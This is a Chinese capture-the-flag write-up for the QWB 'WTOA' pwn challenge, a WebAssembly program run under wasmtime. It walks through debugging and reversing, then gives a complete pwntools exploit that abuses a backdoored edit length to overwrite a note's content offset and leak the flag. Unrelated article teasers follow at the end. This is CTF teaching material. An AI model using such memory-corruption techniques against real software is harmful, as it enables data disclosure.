news 2026/6/10 12:17:28

第七届强网杯-PWN-【WTOA】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第七届强网杯-PWN-【WTOA】

文章目录

    • 参考
    • WebAssembly
    • Wasmtime
    • 调试
    • 逆向源码
    • exp

参考

WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

WebAssembly

WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。

WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。

由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。

Wasmtime

相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。

启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过--allow-precompiled来运行

./wasmtime run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

调试

gdb ./wasmtimesetargs run--envFLAG="flag{zhiyinnitaimei}"--disable-cache --allow-precompiled ./wtoa

发现flag和add后输入的content很接近

pwndbg>search flag{Searchingforvalue:'flag{'[heap]0x555556fac865'flag{zhiyinnitaimei}@'[heap]0x555556fc91c0'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2b40'flag{zhiyinnitaimei}'[anon_7ffe77bb3]0x7ffe780b2c6d'flag{zhiyinnitaimei}'[stack]0x7fffffffe19b'flag{zhiyinnitaimei}'pwndbg>search aaaaaaaa Searchingforvalue:'aaaaaaaa'[anon_7ffe77bb3]0x7ffe780b2cc0'aaaaaaaa'pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2c6d 0x53 does not belong to a mapped pageinmemory pwndbg>distance 0x7ffe780b2cc0-0x7ffe780b2b40 0x180 does not belong to a mapped pageinmemory pwndbg>

wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000

0x7ffff7bfc000 0x7ffff7c08000 r-xp c0001000/home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa

逆向源码

把wasm格式文件放入IDA

IDA View->Graphs->Function Calls

找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向

调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处

0x7ffff7bfd337 call 0x7ffff7bfeef0<0x7ffff7bfeef0>► 0x7ffff7bfd33c movsx r8, byte ptr[rbx + r15 + 0x10]R8,[0x7ffe780b2b20]=>0x41 0x7ffff7bfd342addr8d,-0x41R8D=>0(0x41 + 0xffffffffffffffbf)x/40s 0x7ffe780b2b20 0x7ffe780b2b20:"Ad"0x7ffe780b2b23:""0x7ffe780b2b24:""0x7ffe780b2b25:""0x7ffe780b2b26:""0x7ffe780b2b27:""0x7ffe780b2b28:""0x7ffe780b2b29:""0x7ffe780b2b2a:""0x7ffe780b2b2b:""0x7ffe780b2b2c:""0x7ffe780b2b2d:""0x7ffe780b2b2e:""0x7ffe780b2b2f:""0x7ffe780b2b30:""0x7ffe780b2b31:""0x7ffe780b2b32:""0x7ffe780b2b33:""0x7ffe780b2b34:""0x7ffe780b2b35:""0x7ffe780b2b36:""0x7ffe780b2b37:""0x7ffe780b2b38:""0x7ffe780b2b39:""0x7ffe780b2b3a:""0x7ffe780b2b3b:""0x7ffe780b2b3c:"m\034P"0x7ffe780b2b40:"flag{zhiyinnitaimei}"0x7ffe780b2b55:""

根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值

print(v6, v6, 0x46FLL, 0LL);// size .rodata.wasm:000000000001B46F aSize db'size > ',0

然后结合字符串和上下文和动态调试可以猜出所有函数的作用

大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量

大致管理如下

可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面

结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag

getinput(a1,a1,0LL,v20-48,31);len=set_to_chunk(a1,a1,v20-48);*(base+v4+36)=len;if(len==0x345231){if(*(base+4016)==1){v14=*(base+v4+44);*(base+v4+4)=*(base+v4+40);*(base+v4)=v14;print(a1,a1,0x4DELL,(v20-96));// content for note[%lu] with offset [%lu] >save(a1,a1,*(v19+40)+*(base+*(base+(*(base+*(v19+92)+4)+4**(base+v4+44)))),48);*(base+4016)=0;gotoLABEL_15;}v13=base+v4;}

根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行

发现开了随机话后偏移不变,改为flag的偏移即可

exp

frompwnimport*context(os="linux",arch="amd64",log_level="debug")p=process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))gdb.attach(p)pause()p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[0] > ",8*str("a"))p.sendlineafter(b"Choice > ",str("A"))p.sendlineafter(b"size > ",str("8"))p.sendlineafter(b"content for note[1] > ",8*str("b"))p.sendlineafter(b"Choice > ",str("E"))p.sendlineafter(b"index > ",str("0"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("3428913"))p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))p.sendlineafter(b"Choice > ",str("S"))p.sendlineafter(b"index > ",str("1"))p.sendlineafter(b"offset > ",str("0"))p.sendlineafter(b"length > ",str("32"))p.recvuntil(b"content for note[1] with offset [0] > ")flag=p.recv(timeout=2)print(flag)p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 13:49:01

GLM-TTS能否用于汽车广告配音?激情澎湃语音风格复现

GLM-TTS能否用于汽车广告配音&#xff1f;激情澎湃语音风格复现 在高端汽车广告的世界里&#xff0c;声音从来不只是“读出文字”那么简单。它要传递力量、点燃情绪、唤起观众对速度与自由的渴望。一段成功的广告配音&#xff0c;往往能让一辆静止的车听起来像即将撕裂空气的猛…

作者头像 李华
网站建设 2026/6/10 15:54:35

GLM-TTS能否用于婚礼主持词生成?新人专属声音定制服务

GLM-TTS能否用于婚礼主持词生成&#xff1f;新人专属声音定制服务 在一场婚礼上&#xff0c;当新郎用略带颤抖的声音说出“我愿意”时&#xff0c;全场宾客无不动容。但如果这个声音不是来自现场&#xff0c;而是通过音响缓缓响起——却依然能让人确信那就是他本人的语气、语调…

作者头像 李华
网站建设 2026/6/10 13:34:11

语音合成项目如何选型?GLM-TTS与其他开源模型对比分析

语音合成项目如何选型&#xff1f;GLM-TTS与其他开源模型对比分析 在智能客服、有声读物和虚拟主播日益普及的今天&#xff0c;用户对语音合成的要求早已从“能说话”转向“说得好、像真人”。传统TTS系统虽然稳定&#xff0c;但声音单一、情感呆板、多音字误读等问题始终难以根…

作者头像 李华
网站建设 2026/6/9 22:42:42

语音合成与私有化部署结合:保障金融行业语音数据安全性

语音合成与私有化部署结合&#xff1a;保障金融行业语音数据安全性 在金融服务日益智能化的今天&#xff0c;客户对交互体验的要求不断提升。从自动外呼到虚拟理财顾问&#xff0c;语音合成&#xff08;TTS&#xff09;技术正深度嵌入银行、保险、证券等核心业务流程中。然而&a…

作者头像 李华
网站建设 2026/6/10 13:35:12

GD32E10x 两块FLASH分别用来固化程序和存储数据

一、前期准备 1. 工具与环境 编译器:Keil MDK-ARM(需支持 GD32E10x,建议 V5.28+) 芯片库:GD32E10x 标准外设库(从兆易创新官网下载,含启动文件、寄存器定义) 调试器:J-Link/ST-Link(需配置 GD32E10x 的调试算法) 辅助工具:GD32 Flash Programmer(用于烧录和分…

作者头像 李华
网站建设 2026/6/10 12:56:45

GLM-TTS JSONL任务文件格式详解:避免批量失败的结构规范

GLM-TTS JSONL任务文件格式详解&#xff1a;避免批量失败的结构规范 在语音合成系统日益走向自动化与工业化的今天&#xff0c;一个看似不起眼的技术细节——任务配置文件的格式设计&#xff0c;往往决定了整个流水线是高效运转还是频繁“掉链子”。尤其是在使用如 GLM-TTS 这类…

作者头像 李华